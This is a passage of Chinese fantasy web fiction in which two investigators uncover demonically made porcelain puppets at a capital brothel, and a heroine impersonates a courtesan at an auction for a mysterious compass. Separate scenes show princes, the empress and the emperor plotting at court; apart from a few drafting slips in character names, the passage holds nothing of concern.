他缓缓直起身,眉头紧锁,在厅中踱了两步,喃喃道:“难道……师傅笔记中提到的传说,竟是真的?”
“什么传说?”慕酌眼神一凝。
李琰的目光在两人之间微妙地顿了顿,随即若无其事地继续方才的话题:“慕兄所料不差,这瓷傀之术,确实源于北境苦寒之地,乃当地早已失传的禁忌巫术。我也是因师傅早年留下的几卷残缺笔记,才略知一二。”
“笔记?”慕酌追问。
“是。”萧承珏面色凝重,“师傅出身北地将门,家中曾有人钻研边地异闻。笔记中提到,北地有秘法,能以活人炼傀,躯壳渐次瓷化,无知无觉,唯听炼者号令,名为‘瓷傀’。炼制成功的瓷傀,不惧寻常刀兵,行动如常,甚至能模仿生前部分习惯,极难辨认。”
“弱点呢?”慕酌声音沉冷。
“击碎心口‘魂印’,或以至阳至烈之力彻底焚毁。但魂印位置并非固定,炼制手法不同,烙印之处也不同。至于至阳之力……”萧承珏苦笑摇头,“笔记残缺,语焉不详,只说非寻常火焰或符咒可破。”
他看向宛楪,语气带着几分斟酌:“神女殿下身负……祈福之责,不知对此等邪物,可有克制之法?”
这话问得客气,却也疏离,显然并不真指望这位“临时”的、象征意义大于实际作用的神女能给出什么有效答案。
宛楪迎上他的目光,神色平静无波:“殿下说笑了。祈福旨在沟通天地,抚慰人心,并非征伐破邪之术。”
她答得滴水不漏,将自己摘得干净。
李琰果然不再追问,只点了点头,显然这回答在他意料之中。
慕酌却在此刻开口,问了一个宛楪心头正紧的问题:“笔记中可曾提及,为何非得是‘瓷’?为何是此种材质?”
萧承珏被问得一怔,眉心紧锁,仔细回想片刻,最终仍是摇头:“未曾。只反复强调‘化陶为傀’,为何必须是陶、是瓷,却无解释。
或许……瓷质光洁冰冷,更易承载阴魂?
又或者,只是那秘法偶然所需的外在表现?”他的语气充满不确定,显然对此也深感困惑。
这模糊的回答,却让宛楪袖中的指尖微微蜷缩。为何是瓷?因为她触碰碎片时感受到的,并非简单的“承载阴魂”。那是一种更彻底的掠夺
人的精血、魂魄、血肉生机……这些生灵最本源的东西,或许早已被那股贪婪的妖气吞噬殆尽,作为滋养。
剩下的,不过是失了灵性的躯壳,回归最原始的、类似女娲造人时所用的“泥土”本质。而这被掏空的“泥土”,再被人为地
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塑形、上釉、烧制成瓷,灌注以扭曲的指令或残存的魂片,便成了行走的傀儡。
吞噬生机,榨取精魄,再将废弃的“形”物尽其用。这哪里是什么北地巫术?
分明是某种更古老、更贪婪存在的“进食”与“戏弄”方式。
而眼前这位十三皇子,显然对此一无所知,他只知道有“术”,却不知这“术”的根源,恐怕盘踞在北国冰原深处的,并非人族巫师,而是真正的大妖。
慕酌沉吟着,指尖在粗糙的木桌面上轻轻敲击,发出规律的笃笃声,在寂静的厅堂里格外清晰。
李琰努力回忆着,“笔记语焉不详,且年代久远,我一直以为是志怪传说。其中提及,此术能以活人为材,经邪法炼制,使其躯壳逐渐瓷化,最终成为无知无觉、唯听号令的傀儡,成傀之后,不惧寻常刀兵,行动可如常,甚至能保留些许生前习惯,极难辨认。”
他顿了顿,面色沉重:“我从未想过,此等只存在于故纸堆中的邪术,竟会出现在皇城!醉月楼内苑那些举止僵硬的仆役……若真是瓷傀……”
他倒吸一口凉气,“那这醉月楼,恐怕远非寻欢作乐之地那么简单。”
一旁的宛楪静静听着,袖中指尖微动。李琰所言,是基于人族视角的“巫术”记载,他并不知晓那“邪法”根源的妖气。这恰恰印证了她的感知。
慕酌神色不变,收起了瓷片:“看来,明晚之行,除了罗盘,还需探一探这瓷傀的底细。殿下可知楼内可疑之处?”
李琰已然恢复冷静,回到桌边,取出一份更详尽的草图:“这是我根据之前探查所绘。内苑这几处,”他指点着图上标记,“守卫格外森严,且我的人靠近时便觉阴冷不适,难以深入。此外,有一条偏僻通道,似乎通往地下,但入口把守严密,未能窥见究竟。”
三人重新围拢,烛火将他们的影子投在墙上。计划迅速拟定:明夜子时,李琰于前厅参与珍奇会,竞拍罗盘。慕酌与宛楪凭借令牌潜入内苑,探查瓷傀线索,并设法摸清那地下通道。为防万一,宛楪提出可在潜入后,于偏僻处设下延时火种,待需要脱身时引发小范围混乱,趁乱撤离。
商议既定,李琰告辞去安排明日竞拍事宜。宛楪也起身回房。
慕酌独自留在厅中,指尖摩挲着那枚冰凉的黑铁令牌,眼神深邃。窗外,夜色如墨,更声遥远。
翌日夜,子时将至,醉月楼后巷幽暗僻静。
慕酌与宛楪如约而至,悄无声息地翻过高墙,落入花木阴影之中。
醉月楼后园在眼前铺开。前方主楼笙歌鼎沸,光影流泻。而这片偏院却仿佛被遗忘,只有廊下零星灯笼在夜风中明灭。
几乎在落地的瞬间,那股甜腻混合腐朽铁锈气的异香便包裹上来,浓烈得令人作呕。
宛楪屏息,面纱下眉头深蹙。
慕酌的手轻按她肩头示意噤声,目光如鹰隼扫视庭院。雨声沙沙,一片死寂。
但在这片死寂之下,宛楪袖中的指尖,却微微绷紧了。她的草木灵觉,比慕酌的人族感知更为敏锐。
还有一种极细微的、规律的、仿佛瓷器相互轻轻叩击的脆响,正从前方那片被灯笼微光勉强照亮的、通往主楼侧门的曲折回廊深处,一下,又一下,不疾不徐地传来。
像有什么东西,正穿着瓷质的鞋履,在空无一人的回廊里,漫步。
76. 大皇子的信物?
回廊转角处,缓缓“走”出一个人影。
那是一个侍女打扮的女子,身形窈窕,穿着醉月楼统一的淡粉衣裙,双手交叠身前,步履看似轻盈。但她的动作有种难以言喻的僵硬——不是笨拙,而是一种过于“标准”的、缺乏生灵微妙韵律的精准。她的脸在摇晃的灯笼光下显得异常白皙光滑,眉眼低垂,嘴角噙着一丝固定不变的浅笑。
她从他们藏身的芭蕉丛前走过。距离很近,近到宛楪能看清她裙摆摆动时,下方露出的绣鞋鞋尖——那不是柔软的缎面,而是一种光洁的、泛着冷光的质地。
瓷傀。
这侍女走过之后,那股异香淡去些许,叩击声也并未再响起,仿佛她只是完成了一次例行的、无意义的巡行。
待她身影消失在回廊另一头,慕酌才极轻地吐出一口气,低声道:“这里果然有这些东西,而且已经混迹其中,几可乱真。”
宛楪点了点头,目光却追随着那瓷傀侍女消失的方向,心中波澜暗涌。她的草木灵觉比慕酌的人族感知更为敏锐,她能清晰“感觉”到,这后园乃至整座醉月楼,都笼罩在一层淡淡的、令人极度不适的“场”中,冰冷、死寂,却又暗藏躁动,属于妖异特有的、被刻意扭曲过的气息。但她面上不露分毫,只是附和道:“确实诡异,需得多加小心。”
“去主楼。”慕酌当机立断,“李琰说那罗盘今夜会经花魁‘蝶衣’之手流出,我们必须赶在交易完成前找到它。若能顺便摸清这些瓷傀在此地的底细,更好。”
两人不再停留,借助阴影和雨声的掩护,如两道轻烟般掠过庭院,靠近了灯火通明、笙歌阵阵的主楼后门。后门虚掩着,里面传来厨房区域的嘈杂和酒菜的香气。
“客官里边请——”龟公拖长腔调迎来,目光在慕酌和宛楪身上快速扫过。他约莫四十上下,面皮白净,眼神却精明如算盘珠子,右手拇指戴着一枚翠玉扳指,在灯光下泛着油腻的光。
宛楪已重新戴上面纱,浅绿衣裙外罩了件慕酌临时买来的黛色斗篷,将身形掩得严实。她微微垂首,站在慕酌侧后方半步,姿态恭顺如随侍丫鬟。
“要间雅室,清静些的。”慕酌抛出一锭银子,分量不轻。
龟公接住银子,指尖一捻,脸上笑容更盛:“二楼东厢‘听雪轩’正好空着,临街视野好,也安静。”他侧身引路,“二位随我来。”
楼梯铺着猩红地毯,绣着缠枝莲纹,踩上去悄无声息。沿途经过的走廊两侧,挂满名人字画,其中几幅的落款让慕酌多看了一眼——竟是当朝几位清流的墨宝。醉月楼能在皇城站稳脚跟,果然不止是烟花之地那么简单。
听雪轩布置雅致。紫檀木桌椅,青玉香炉,墙上挂着一幅《寒江独钓图》,笔意萧疏。
“不必。”慕酌在窗边坐下,视线投向楼下大厅,“听说今夜花魁‘蝶衣’姑娘会登台献艺?”
龟公眼神微动:“客官消息灵通。蝶衣姑娘确实会在戌时三刻登台,跳一支新编的《霓裳碎玉舞》。
不过……”他压低声音,“今夜有位贵客包了蝶衣姑娘三支舞,最后那支舞毕,蝶衣姑娘会亲手赠他一件信物。这事儿知道的人不多。”
慕酌与宛楪对视一眼。
“什么信物?”
“我偷偷告诉你。”龟公笑容暧昧,“你知道叛乱的大皇子吗,这物件据说是大皇子珍藏的宝贝,被抄家之后就沦落到这里。”
又说了几句闲话,龟公躬身退下,合门前深深看了宛楪一眼。
水晶灯流光溢彩,宾客喧嚣,舞乐升平。然而,在宛楪眼中,这幅奢靡画卷下却透出丝丝诡异:弹琵琶的乐师手指关节略显僵硬;斟酒的侍女笑容弧度完美得毫无变化;某处侍立的护卫呼吸间隔长得异常……
“数量不少。”慕宛楪音沉冷,目光如鹰隼般扫视,“若能找到控制它们的源头或关键人物,或许能揭开瓷傀之谜的一角。”
就在这时,一阵清越的编钟声压过了嘈杂,众人的目光纷纷投向通往三楼的华丽楼梯。一位盛装女子在侍女陪同下袅袅而下,她身着嫣红月白相间的华美舞衣,云鬓高耸,面覆轻纱,仅露出的双眸顾盼生辉,瞬间吸引了全场目光。
“蝶衣姑娘!”
“《霓裳碎玉》要开场了!”
“听说舞后她要亲自去‘流芳阁’给那位贵客送东西……”
蝶衣姿态优雅地向四周微微致意,便在侍女的陪同下,径直走向二楼东侧那间最为宽敞、此刻珠帘低垂的雅室——“流芳阁”。门口站着两名气息精悍、目光如电的护卫,绝非寻常角色。
“罗盘很可能就在‘流芳阁’内,或者稍后由蝶衣带入。”慕酌低语,眉头紧锁,“守卫森严,硬闯绝非上策。蝶衣进去后,我们更难接近。”
宛楪的目光紧紧追随着蝶衣,尤其是她身旁那个步履略显僵硬的侍女,以及“流芳阁”门口那两名护卫冰冷而缺乏生气的眼神。一个大胆而冒险的计划在她心中迅速成形。
她轻轻拉了拉慕酌的衣袖,声音压得极低,却带着一种不容置疑的决断:“慕酌,我有一个办法,或许能让我们有机会同时拿到罗盘,并弄清楚这些瓷傀的关窍。”
“最重要的是,你觉得李琰能拍下来,他会那么有钱?”
慕酌侧头看她,眼神带着疑问。
“让我扮成蝶衣,进去。”宛楪语速平缓,但字字清晰,“正主就在眼前,看似不可能,但越是灯下黑,越有机会。你看她身边的侍女,动作僵硬,多半也是瓷傀。瓷傀依令行事,反应呆板。我们不需要长期假扮,只需要在献舞前后这短暂的时间里,制造一点混乱,让我能接近并替换她。只要我能进入‘流芳阁’,在献舞时或赠礼时……”
她顿了顿,眼中闪过一丝锐利的光,“或许能近距离观察那位‘贵客’,甚至有机会接触到罗盘。你在外策应,随时准备接应和行动。同时,我也可以趁机探查这些瓷傀在醉月楼内究竟如何运作。”
“替换?如何替换?蝶衣身边有护卫,有侍女,众目睽睽。”慕酌觉得这计划太过异想天开。
“所以才需要混乱,需要时机。”宛楪的目光投向楼下大厅某处略微拥挤的人群,又看了看“流芳阁”紧闭的门扉,“献舞前,蝶衣可能需要更衣或补妆,不会一直待在雅间。找到她的房间,或者……制造一个让她必须短暂离开护卫视线的机会。只要一瞬间的破绽就够了。”
仿佛是为了印证她的话,一名管事模样的中年人匆匆上楼,与“流芳阁”门口的护卫低语几句。护卫转身入内禀报,片刻后,蝶衣便带着那名瓷傀侍女走了出来,仪态万方地朝着三楼的方向走去,显然是为即将开始的舞蹈做最后准备。
“机会来了。”宛楪低语一声,身影已如一道轻烟,悄然掠向通往三楼的另一侧备用楼梯。
慕酌心脏猛地一提,这计划疯狂而冒险,但眼下似乎没有更好的选择。罗盘是关键,瓷傀的线索也近在眼前。他不再犹豫,如影随形般跟上,同时将感知提升到极致,警惕着所有潜在的威胁。
三楼走廊铺着厚毯,寂静无声。蝶衣的房间很显眼,走廊尽头那扇最为华丽、悬着“栖凰阁”匾额的门前,肃立着两名目光警惕的护卫。
宛楪和慕酌隐在拐角暗处。慕酌估算着距离,指尖扣住暗器。
恰在此时,楼下大厅忽然传来一阵惊呼和瓷器碎裂的脆响,似乎发生了什么小意外,引得附近一阵骚动,仆役奔走。
守卫的视线被楼下动静微微牵引。
就是此刻!
慕酌手腕极轻一抖,一枚细小的铜钱无声射出,并非攻击护卫,而是精准地打在“栖凰阁”门楣上方一盏琉璃灯的悬挂链上。链子发出极其细微的“叮”一声。
两名护卫同时警觉抬头。
同一刹那,宛楪动了。她没有冲向门口,而是身形一闪贴近墙壁,手指在窗棂某处看似不经意的雕花上轻轻一按、一旋——那是她刚才快速观察时发现的、一扇气窗的隐蔽机关。微弱的、几乎无法察觉的青光在她指尖一触即收,窗栓悄然滑开。她纤巧的身体如同没有重量,贴着窗缝无声滑入,窗扇在她身后几乎同步地恢复了原状,快得仿佛只是光影的一次错觉。
慕酌在阴影中屏住呼吸,右手紧紧按着剑柄,全神贯注地感知着门内的任何异动。时间在寂静中拉扯得无比漫长。
栖凰阁内。
香气浓烈馥郁。蝶衣刚在梳妆台前坐下,正要对镜调整一支金钗,忽从镜中瞥见身后多了一道身影,惊骇欲呼。
宛楪的动作快如鬼魅,在她转身的瞬间已至其身后,并指如风,精准地点在她颈侧某处。蝶衣眼眸一翻,软软伏倒。宛楪伸手扶住,避免她发出磕碰声响。
几乎同时,她锐利的目光射向门边侍立的那名瓷傀侍女。侍女空洞的眼珠转向她,嘴巴微张,胸腔似乎有极细微的、不同于呼吸的震颤——那是傀术即将发动警报或攻击的征兆。
宛楪不退反进,一步上前,看似要去扶蝶衣,袖摆却似无意间拂过瓷傀侍女交叠在身前的手腕。一抹极淡、极快的翠色光晕在她袖底指尖一闪而逝,如同错觉。
那瓷傀侍女的身体猛地一顿,眼中那点微弱的指令光芒骤然黯淡下去,仿佛被某种更古老、更精纯的“秩序”短暂地压制或干扰了,重新恢复了彻底的静止,连周身萦绕的那股异香都似乎凝固了一瞬。
宛楪心下稍定。她不敢动用太多妖力,只能尝试以同源但更本源的气息进行最轻微的干扰,看来奏效了。
时间紧迫。她迅速将昏迷的蝶衣抱到里间锦绣榻上,用锦被盖好掩住。随即回到外间,飞快打开华丽的衣橱,找出那套用于献舞的、更为飘逸华丽的“霓裳”舞衣。她利落地脱下自己的外袍,换上这套繁复精致的衣裙。
然后坐到镜前,看向镜中穿着蝶衣华服却顶着自己面容的女子。
没有时间精细易容。她闭上眼,调动起一丝细微的妖力,并非改变骨骼,而是极其精妙地调整面部肌肉与皮肤的纹理、光泽,模拟出蝶衣妆容的浓淡与轮廓特点,在这种灯火迷离、距离稍远、众人又先入为主认定她是“蝶衣”的情况下,足以混淆视听。
最后,她拿起妆台上备好的、与蝶衣脸上同色的轻纱,覆在面上。
镜中人,已与方才的“宛楪”气质迥异,眉梢眼角染上了属于花魁的娇媚风韵,尤其是薄纱后那双眼睛,流转间带着一种动人心魄的、隐约难以捉摸的光彩。
她站起身,理了理裙摆,走到那尊重新“激活”、但眼神似乎比之前更加空洞几分的瓷傀侍女面前,模仿着可能属于蝶衣的、略带慵懒的语调,轻声道:“时辰差不多了,该去献舞了。”
瓷傀侍女依言躬身,以一种标准的姿态,上前拉开了“栖凰阁”的门。
门外护卫见“蝶衣姑娘”这么快就重新出现,虽有一丝疑惑,但见她妆容完美,衣裙华丽,身侧侍女如常,便也只当她是匆匆补妆,躬身行礼让开道路。
宛楪保持着蝶衣应有的优雅步态,在瓷傀侍女的陪同下,缓缓走下三楼。她能感觉到怀中罗盘传来的、愈发清晰的冰冷悸动,仿佛在为她指引着前方潜藏的危险。同时,她也清晰感知到,这座醉月楼的“妖异场”正在缓缓增强,如同沉睡的巨兽在逐渐苏醒。
而隐在暗处的慕酌,看着那道袅娜走向“流芳阁”的背影,心中那根弦绷到了极致。他清楚,罗盘近在咫尺,瓷傀的秘密也可能随之揭开,但这一切,都系于宛楪这场如履薄冰的假面之舞上。他缓缓移动位置,寻找最佳的角度与时机,准备接应,也准备应对任何可能爆发的危机。
戌时三刻,铜锣敲响。
大厅的灯光忽然暗了一半,只留高台周围数盏水晶灯,将舞台照得亮如白昼。乐师们奏起前奏,琵琶清越,古筝悠扬,箫声如泣如诉。
宛楪从后台缓步走出。
她走得极慢,每一步都踏在乐点上。月白外袍在灯光下流淌着银辉,嫣红裙摆随着步伐摇曳,珍珠碰撞的轻响与乐曲融为一体。面纱遮住了她的脸,却遮不住那双眼睛——在光影中,那双眼睛竟泛着淡淡的、翡翠般的青色。
台下安静了一瞬。
然后爆发出惊叹与喝彩。
“蝶衣姑娘今日格外美啊!”
“这身霓裳,怕是宫里都找不出第二套!”
宛楪对一切充耳不闻。她走到舞台中央,微微欠身行礼,然后抬起双臂。
乐声陡然转急。
她开始起舞。
起初是柔美的,像春风拂过柳枝,像细雨浸润花瓣。披帛随着手臂的摆动在空中划出优美的弧线,青紫双色交缠,如烟似雾。但渐渐地,舞姿变了。
不再是人间的柔媚,而是一种属于山林的、野性的灵动。她的腰肢如藤蔓般柔软又充满韧性,旋转时裙裾绽开如巨大的花朵,每一个回眸都带着深山幽谷的空灵。最诡异的是她的眼神——那双青色的眸子在舞动中锐利,扫过台下时,竟让几个胆小的客人打了个寒颤。
这不是《霓裳碎玉舞》。
这是她自己编的、带着妖族的舞。每一个动作都在无声地释放着某种气息——不属于人类的、古老而神秘的气息。
慕酌站在台下阴影里,看着台上的宛楪。
妖异,美丽,危险,像深山里修炼千年的精怪终于褪去伪装,在月下显露出真实的面目。
一束不知来自何处的微光,如天外垂落的一缕银纱,轻轻笼住她半边身形。光尘在她周身悬浮、流转,每一次呼吸都带动细碎的光点起伏明灭。
她微微仰起下颌,露出修长脆弱的颈线,皮肤在光下近乎半透明,能看见淡青色的血脉静静蜿蜒。
那一刻,光影的界限彻底模糊。
慕酌瞳孔骤然收缩。
他看见光在她身后无声晕开、延展,不再是简陋戏台的背景,而是无限深远的虚空。
细碎的光点汇聚、攀升,在她发梢与肩头化作若有若无的辉晕。她的眉眼依旧精致如画,却褪去了所有属于“人”的温度与情绪。眸光空
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远,仿佛穿透了屋顶、穿透了夜幕,正注视着凡人无法企及的彼方。
那不是妖异的精怪,亦非伪装的面具。
是某种更古老、更遥远的存在。
宽袖垂落,衣袂无风自动,带着某种超越尘世韵律的飘拂。周遭的喧嚣、人群、烛火,乃至时间本身,都在这一刻被那圈朦胧的光晕隔绝、消音。整个世界坍缩成一方寂静的舞台,而她立于中央。
光在她周身持续流淌、变幻。慕酌感到一阵轻微的晕眩。
那圈神性辉光随之微妙地摇曳、淡去,重新落回尘世的朦胧光晕里。
有什么东西被永远地改变了。
在他视线未能穿透的暗影深处,在他自己都意识不到的内里,某种沉睡的本质,刚刚苏醒了一瞬,并透过这具美丽的皮囊,向他这尘世投来遥远而漠然的一瞥。
他仍站在阴影里,指尖却微微发凉。
而台下,已有明眼人察觉不对。
“这舞……有点邪性。”二楼雅间里,一个锦衣公子皱眉道。
“蝶衣姑娘今日状态极佳啊。”另一个客人笑道,“这舞跳得,我都快把持不住了。”
舞台上的宛楪并不知道这些议论。她已完全沉浸在舞蹈中,身体本能地随着乐声起伏,每一次旋转、每一次跳跃,都在悄然释放着妖族特有的魅惑气息。这气息很淡,却足以让台下那些心志不坚的客人神魂颠倒。
宛楪——此刻在所有人眼中,就是是那艳冠醉月楼的花魁蝶衣。
一舞毕。
她立在舞台中央,微微喘息,面纱下的唇角勾起一抹极淡的、得逞的笑。
台下一片死寂。
然后爆发出狂热的喝彩。
“好!”
“蝶衣姑娘!再来一曲!”
“今夜我包了蝶衣姑娘!多少钱,开个价!”
混乱中,几个客人竟想冲上台。护卫们连忙阻拦,场面一度失控。
在瓷傀侍女的随侍下,宛楪走入了雅间。门在身后合拢,隔绝了外间大部分喧嚣,只余雅室内清雅的琴音与熏香。
室内比外面看到的更为宽敞奢华。地上铺着厚厚的波斯毯,四面垂着云霞般的纱帐,正中央一张紫檀木大圆桌,围坐着五六位衣着华贵、气度不凡的男子。主位空着,显然那位最重要的“贵客”尚未到来。桌上已摆满了珍馐美馔,琉璃盏中琥珀色的酒液荡漾。
见“蝶衣”进来,席间几人眼中都闪过惊艳之色,但举止仍保持着矜持。一位蓄着短须、管事模样的中年人起身,笑容可掬:“蝶衣姑娘来了,快请入座稍歇。贵客稍后就到,届时还需姑娘一展霓裳仙姿。”
宛楪微微欠身,依言在预留的、靠近主位的一张绣墩上坐下,姿态柔顺。她垂眸敛眉,目光却透过低垂的眼睫,快速扫过室内每一个人、每一件摆设。瓷傀侍女如影随形地立在她身后一步之处,空洞的眼睛直视前方。
她能感觉到,这间屋子里的“异样”气息比外面大厅更浓。
除了她自己带来的、以及身后这个瓷傀侍女身上的,在座宾客中,至少有两人的呼吸频率异常平稳,眼神也略显呆滞,尽管他们谈笑风生——很可能也是披着人皮的瓷傀,且是更为高阶、模仿得更像的“成品”。
她的指尖在宽大的袖中微微蜷缩,触碰到藏在暗袋里的那个冰冷罗盘。罗盘的颤动似乎比刚才更明显了一些,指针无序地轻晃,仿佛被这屋里混杂的“非常”之气所扰动。
约莫一盏茶后,雅间另一侧的暗门悄然开启。
一名身着玄色锦袍、以一张精巧的银质半边面具遮住上半张脸的男子,在两名气息沉凝、目光锐利如鹰隼的护卫陪同下,缓步走入。他一出现,原本略显松弛的席间气氛顿时一紧,所有人都停下交谈,起身致意,连那几位疑似瓷傀的宾客,动作也整齐划一地站了起来。
“贵客”到了。他并未摘下银面具,只露出线条清晰的下颌和一双深邃难测的眼眸。他的目光在室内扫过,最后落在宛楪身上,停留了片刻,微微颔首,算是打过招呼,然后径直走向主位坐下。
“让诸位久等。”他的声音透过面具传来,有些低沉,带着一种不容置疑的威严,“今夜良辰,有幸得见蝶衣姑娘新舞,亦是为一睹那传说中的‘寻幽罗盘’风采。老规矩,价高者得,蝶衣姑娘亲手奉上。”
管事立刻躬身应和,拍了拍手。门外便有侍女捧上一个铺着红绒的托盘,置于房间中央的矮几上。托盘上盖着一方金丝绣帕。
“此乃前朝异人所制‘寻幽罗盘’,据说能感应天地间非常之气,指向隐秘幽微之处。”管事揭开绣帕,露出下面那枚宛楪在栖凰阁见过的暗青铜罗盘,“今夜赠予出价最高、且有缘得蝶衣姑娘青睐的贵客,以助雅兴,或……另作他用。”他话语意味深长。
竞价开始。出价的并非在座所有人,似乎只有几位早有准备,包括那两位疑似高阶瓷傀背后的“主人”。价格很快飙升到一个令人咋舌的数字。银面具贵客并未直接出价,但他身后的护卫偶尔会代他举牌,每次出价都恰好压过前一位,显得游刃有余,志在必得。
宛楪安静地坐着,仿佛这一切与她无关,只是专注地扮演着美丽而温顺的花魁。但她能感觉到,那银面具后的目光,不时会落在她身上,带着审视,也带着一丝……难以言喻的探究。这让她心中警惕更甚。
最终,毫无悬念地,银面具贵客以压倒性的价码,“赢得”了罗盘。
管事满面红光,示意宛楪上前:“有劳蝶衣姑娘,为贵客奉上罗盘。”
宛楪起身,步履轻盈地走到中央矮几前。她伸出纤纤玉手,指尖即将触碰到那冰冷的罗盘时,动作微微一顿。罗盘上那暗红色的指针,在她靠近的瞬间,颤动骤然加剧,甚至微微偏转,指向了——她身后那个瓷傀侍女的方向,但似乎又有些摇摆不定。
这一细微变化,或许只有离得极近的她才能察觉。她面纱下的神色不变,稳稳地拿起罗盘。入手冰凉沉重,那股诡异的悸动感更加清晰。
她转身,款步走向主位的银面具贵客。每走一步,都能感受到席间众人聚焦的目光,尤其是那位贵客面具后深不可测的视线。
终于,她在贵客面前站定,双手捧着罗盘,微微躬身,用模仿蝶衣的、略带娇柔的嗓音道:“请贵客笑纳。”
银面具贵客没有立刻去接。他的目光先是在罗盘上停留一瞬,然后缓缓上移,牢牢锁住宛楪薄纱后的眼睛。那眼神锐利如刀,仿佛要穿透面纱和伪装,直抵灵魂深处。
时间仿佛凝固了一瞬。
就在他接过罗盘,宛楪准备抽身退开的电光石火之间——
“砰!!!”
一声沉闷却惊人的巨响,猛地从楼下后院方向传来,震得梁柱簌簌,连桌上的杯盏都叮当作响!紧接着是连续不断的、瓷器爆裂的哗啦脆响,如同雪崩,中间夹杂着惊恐至极的尖叫和呼喊:
“瓷窑!后园的瓷窑炸了!”
“走水了!快救火!”
77. 你对她什么心思?
皇宫,三皇子府邸。
夜色如墨,沉甸甸地压在府邸之上。廊下的宫灯在呼啸的夜风中剧烈摇曳,昏黄的灯光时明时暗
。三皇子李玄伫立在书房窗前,面容隐匿于昏暗的光线之中,唯有那双眼睛,在黑暗里闪烁着骇人的光芒,恰似被困于牢笼中的野兽,满是焦躁与不甘。
“殿下。”心腹太监王安如鬼魅般悄然走进,脚步轻得如同猫行,“消息已送出去了。”
李玄并未回头,只是冷冷问道:“那边怎么说?”
“说……说让殿下稍安勿躁,一切都在计划中。”王安压低声音,几乎细不可闻,“还让奴才提醒殿下,近日切莫再与宫外联系,陛下那边……似乎有所察觉。”
“察觉?”李玄冷笑一声,手指下意识地骤然收紧,死死扣住窗棂,木质的窗棂不堪重负,发出一阵痛苦的嘎吱声,“父皇如今整日对着虚空自言自语,朝政荒废得不成样子,还能察觉什么?”
“殿下慎言!”王安吓得脸色惨白,惊恐地瞥向门外,仿佛门外藏着随时会将他们吞噬的巨兽。
李玄猛地转过身,烛火闪烁间,映亮了他半边脸庞,年轻的面容上却刻满了与年龄极不相符的阴郁。他几步冲到王安面前,一把揪住他的衣襟,怒目而视:“你说,那件事……是不是父皇早就知道了?”
王安被吓得魂飞魄散,双腿发软,几乎站立不稳:“殿、殿下指的哪件事?”
李玄盯着他看了许久,眼神冰冷刺骨,随后猛地松手,颓然地坐回椅中,挥了挥手:“罢了,你退下吧。”
王安如获大赦,忙不迭地躬身退出书房,关门的瞬间,仿佛将所有的恐惧都关在了门外。
“舅父,现在怎么办,父皇已经开始怀疑我了,不如咱们一不做二不休……”三皇子眼中闪烁着狂热与急切。
“三皇子殿下,现在还不是如此急躁的时候。”阴影中,一个身影缓缓浮现,斑驳的人影在墙壁上肆意拉长又缩短,仿佛是鬼魅在肆意舞动。
丞相从怀中掏出一物——那是一枚小小的瓷符,莹白如玉,温润的表面却有着一道细细的裂痕,宛如一道触目惊心的伤口。
“这个东西给你,必要的时候,斩草除根!”丞相的声音低沉而阴冷,仿佛从九幽地狱传来。
三皇子眼中闪过一丝狂热,迫不及待地伸手接过瓷符,紧紧贴在掌心,闭目凝神片刻。再睁眼时,眼中竟闪过一丝诡异的黑气,仿佛有什么邪恶的力量在他体内苏醒。
同一时刻,皇后寝宫。
铜镜前,皇后苏氏正慢条斯理地梳理着一头如瀑青丝。她的动作轻柔而优雅,每一下都仿佛在精心雕琢一件艺术品。镜中的女子虽已年过四十,却保养得宜,凤目含威,唇边总噙着一抹若有似无的笑意,宛如一朵盛开的罂粟,美丽却带着致命的诱惑。
“娘娘。”贴身宫女翠微悄无声息地走进,附身贴近皇后耳边,低语了几句。
苏氏梳发的手微微一顿,眼中闪过一丝不易察觉的寒芒。
“果然不死心。”她轻轻放下玉梳,指尖在妆台上有节奏地敲击着,发出清脆的声响,仿佛在谋划着一场无声的战役,“去,把前日陛下赏的那盒东珠,给贵妃送过去。就说本宫念她冷宫辛苦,给她解解闷。”
翠微面露迟疑之色:“娘娘,这时候送东西过去,会不会……”
“越是这时候,越要送。”苏氏对着镜子轻轻勾了勾唇角,那笑容如同冬日的寒冰,“本宫是皇后,关心嫔妃天经地义。陛下若问起,就这么回。”
“是。”翠微领会了皇后的意图,躬身退下,身影迅速消失在寝宫的阴影之中。
苏氏独自对镜而坐,镜中只映出她平静如水的脸,可眼神深处,却有暗流在汹涌翻涌。
“已经开始了吗……”她喃喃自语,声音轻得如同梦呓,“那就看看,谁能笑到最后。”
而在房间重新陷入寂静后,一只摆在角落的瓷瓶,悄然裂开了一道细缝。裂缝里,丝丝黑气如蛇般蜿蜒渗出,在空气中弥漫开来,仿佛是黑暗中伸出的邪恶触手,预示着一场不可预知的危机即将降临。
更鼓敲过三更,沉沉的鼓声在寂静的夜空中回荡,仿佛在为这黑暗的宫廷奏响一曲诡异的乐章。
皇帝李衍独自坐在寝宫外间的书案前,四周的空气仿佛凝固了一般。案上奏折堆积如山,可他却丝毫没有翻看的兴致。他的手边放着一只锦盒,盒盖敞开,里面铺着明黄绸缎,绸缎上躺着一块残缺的玉璧。
玉璧呈半月形,断裂处参差不齐,宛如被撕裂的伤口,表面刻着繁复的云雷纹。在摇曳的烛火映照下,那些纹路仿佛活了过来,缓缓流动,散发着神秘而古老的气息。
李衍缓缓伸出手,指尖微微颤抖,悬在玉璧上方,却迟迟不敢触碰,仿佛那玉璧上隐藏着无尽的恐惧。
“朕……真的要做吗?”他喃喃自语,声音在空旷的宫殿里回荡,显得格外空洞,“长生,长生……”
窗外的风陡然加急,如同一头咆哮的猛兽,狠狠撞击着窗户,吹得烛火剧烈摇曳,光影在墙壁上疯狂舞动,仿佛无数妖魔鬼怪在肆意狂欢。
李衍猛地闭眼,再睁开时,玉璧依旧静静地躺在锦盒中。
他颓然地靠回椅背,缓缓将锦盒盖上。动作间,袖口滑落,露出手腕上一道深可见骨的旧疤。疤痕周围,皮肤呈现出不正常的青灰色,隐隐有黑色细线如蛛网般蔓延,仿佛是邪恶力量在他体内悄然生长。
“快了……”他轻抚着那道疤,眼神渐渐变得坚定,仿佛做出了某个艰难的决定,“就快了。”
就在这时,殿外传来太监小心翼翼的通禀:“陛下,暗卫统领求见。”
李衍迅速拉好衣袖,瞬间恢复了帝王的威严:“宣。”
“指向何处?”李衍的声音很平静,却隐隐透着一丝压抑的紧张。
“指向三皇子府。”暗卫统领的声音低沉而有力。
殿内陷入了长久的寂静,唯有烛火在噼啪作响,爆出一个个灯花,仿佛在打破这令人窒息的沉默。
李衍忽然笑了,那笑声低哑而苦涩,带着说不出的疲惫与讥诮:“朕的好儿子们……一个都不让朕省心啊。”
他挥了挥手,让暗卫退下,独自对着跳跃的烛火出神。
